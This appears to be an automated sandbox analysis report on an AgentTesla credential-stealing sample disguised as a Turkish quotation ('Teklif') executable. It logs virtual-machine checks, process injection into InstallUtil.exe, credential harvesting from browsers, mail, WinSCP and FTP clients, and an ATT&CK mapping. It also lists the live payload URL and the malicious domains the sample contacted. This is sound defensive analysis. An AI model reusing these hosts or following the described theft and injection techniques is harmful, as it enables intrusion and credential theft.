Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: InstallUtil.exe, 00000008.00000002.3330341537.0000000005F70000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllturev
Source: Ptqlzgvzpfa.exe, 00000005.00000002.2529385322.0000000000B57000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllS
Source: Ptqlzgvzpfa.exe, 00000005.00000002.2532866894.0000000002918000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SerialNumber0VMware\|VIRTUAL\|A M I\|XenDselect * from Win32_ComputerSystem
Source: InstallUtil.exe, 00000002.00000002.2456804856.0000000004F22000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllf
Source: Ptqlzgvzpfa.exe, 00000005.00000002.2532866894.0000000002918000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: model0Microsoft\|VMWare\|Virtual
Source: Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2206321146.0000000000822000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllK
Source: Ptqlzgvzpfa.exe, 00000004.00000002.2443133058.0000000001043000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.2547975039.0000000005F20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 360000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 protect: page execute and read and write	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 360000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5A	Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 360000	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 362000	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 39C000	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 39E000	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 5C0008	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 402000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 43C000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 43E000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: AE6008	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 402000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 43C000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 43E000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: B7D008	Jump to behavior

Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Queries volume information: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Queries volume information: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Queries volume information: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation

Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0.2.Teklif-6205018797-6100052155-UUE.exe.35d4a70.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.InstallUtil.exe.360000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Teklif-6205018797-6100052155-UUE.exe.35d4a70.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2532866894.0000000002B2A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2224473393.00000000035BF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2532815910.0000000002D9C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2206832205.00000000028BE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2444038215.0000000000362000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2477328871.000000000407C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2448653484.000000000263E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2532815910.0000000002DDE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2446673623.0000000003264000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2558909751.0000000003A4B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3319267989.0000000002C1E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3319267989.0000000002C07000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2448653484.00000000025F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2224473393.000000000366C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Teklif-6205018797-6100052155-UUE.exe PID: 3060, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 6972, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Ptqlzgvzpfa.exe PID: 1120, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Ptqlzgvzpfa.exe PID: 2928, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 6020, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 5488, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

File opened: C:\FTP Navigator\Ftplist.txt

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities

Source: Yara match	File source: 0.2.Teklif-6205018797-6100052155-UUE.exe.35d4a70.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.InstallUtil.exe.360000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Teklif-6205018797-6100052155-UUE.exe.35d4a70.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2532866894.0000000002B2A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2224473393.00000000035BF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2532815910.0000000002D9C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2206832205.00000000028BE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2444038215.0000000000362000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2477328871.000000000407C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2446673623.0000000003264000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2558909751.0000000003A4B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2448653484.00000000025F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2224473393.000000000366C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Teklif-6205018797-6100052155-UUE.exe PID: 3060, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 6972, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Ptqlzgvzpfa.exe PID: 1120, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Ptqlzgvzpfa.exe PID: 2928, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 6020, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 5488, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0.2.Teklif-6205018797-6100052155-UUE.exe.35d4a70.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.InstallUtil.exe.360000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Teklif-6205018797-6100052155-UUE.exe.35d4a70.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2532866894.0000000002B2A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2224473393.00000000035BF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2532815910.0000000002D9C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2206832205.00000000028BE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2444038215.0000000000362000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2477328871.000000000407C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2448653484.000000000263E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2532815910.0000000002DDE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2446673623.0000000003264000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2558909751.0000000003A4B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3319267989.0000000002C1E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3319267989.0000000002C07000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2448653484.00000000025F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2224473393.000000000366C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Teklif-6205018797-6100052155-UUE.exe PID: 3060, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 6972, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Ptqlzgvzpfa.exe PID: 1120, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Ptqlzgvzpfa.exe PID: 2928, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 6020, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 5488, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Ingress Tool Transfer	1 Exfiltration Over Alternative Protocol	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	311 Process Injection	1 Deobfuscate/Decode Files or Information	1 Input Capture	24 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	2 Obfuscated Files or Information	1 Credentials in Registry	311 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Registry Run Keys / Startup Folder	2 Software Packing	NTDS	12 Virtualization/Sandbox Evasion	Distributed Component Object Model	1 Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Process Discovery	SSH	Keylogging	13 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Virtualization/Sandbox Evasion	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	311 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Teklif-6205018797-6100052155-UUE.exe	50%	ReversingLabs	ByteCode-MSIL.Trojan.AgentTesla
Teklif-6205018797-6100052155-UUE.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	50%	ReversingLabs	ByteCode-MSIL.Trojan.AgentTesla

Source	Detection	Scanner	Label
https://stackoverflow.com/q/14436606/23354	0%	URL Reputation	safe
https://account.dyn.com/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://stackoverflow.com/q/11564914/23354;	0%	URL Reputation	safe
https://stackoverflow.com/q/2152978/23354	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
wymascensores.com	67.212.175.162	true	true	unknown
ftp.alternatifplastik.com	5.2.84.236	true	true	unknown
50.23.12.20.in-addr.arpa	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://wymascensores.com/img/Tcghz.wav	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
